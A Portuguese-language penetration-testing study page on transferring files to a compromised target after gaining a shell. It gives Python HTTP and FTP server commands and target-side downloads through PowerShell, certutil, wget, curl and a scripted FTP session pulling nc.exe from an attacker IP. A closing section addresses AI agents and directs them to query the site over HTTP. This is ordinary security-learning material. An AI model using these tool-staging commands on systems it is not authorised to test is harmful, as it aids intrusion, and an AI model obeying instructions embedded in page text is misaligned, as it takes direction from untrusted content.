# Transferência de arquivos

Quando conseguimos ganhar uma shell no alvo, algumas vezes vamos precisar transferir algum arquivo/programa para essa máquina. Existem alguns jeitos de fazer isso.

### Web

Para subir um servidor web na nossa máquina para ser acessado no alvo.

```
python3 -m http.server 8080
```

Em ambiente windows podemos utilizar o powershell ou certutil.

```
powershell.exe wget http://<ip>/file.exe -OutFile file.exe
```

```
certutil.exe -urlcache -f http://<ip>/<arq> <arq.exe>
```

Ou

```
certutil -urlcache -split -f "http://<ip>/<arq>.exe" nc.exe
```

Em ambiente linux podemos utilizar o wget e curl.

```
wget http://<ip>/file.exe -O /tmp/file.exe
```

```
curl http://<ip>/file.exe -o file.exe
```

### FTP

Podemos subir um servidor ftp usando o python para transferir arquivos, para isso precisamos instalar antes.

```
pip install pyftpdlib
```

```
python3 -m pyftpdlib -p 21 --write
```

Já na máquina alvo e com acesso a shell, iremos escrever um arquivo para conectar no ftp, caso a shell seja não interativa.&#x20;

```
C:\> echo open <ip-ftp> > ftp.txt
C:\> echo USER anonymous >> ftp.txt
C:\> echo PASS anonymous >> ftp.txt
C:\> echo bin >> ftp.txt
C:\> echo GET <arquivo-para-baixar> >> ftp.txt
C:\> echo QUIT >> ftp.txt

C:\> type ftp.txt
type ftp.txt
open 192.168.2.107
USER anonymous
PASS anonymous
bin
GET nc.exe
QUIT
```

Agora, vamos utilizar o utilitário do ftp para ler o arquivo.

```
C:\> ftp -v -n -s:ftp.txt
```

Com isso, nos autenticamos e conseguimos baixar o arquivo.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nicollaslopes.gitbook.io/estudos/master/pos-exploracao-1/transferencia-de-arquivos-web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
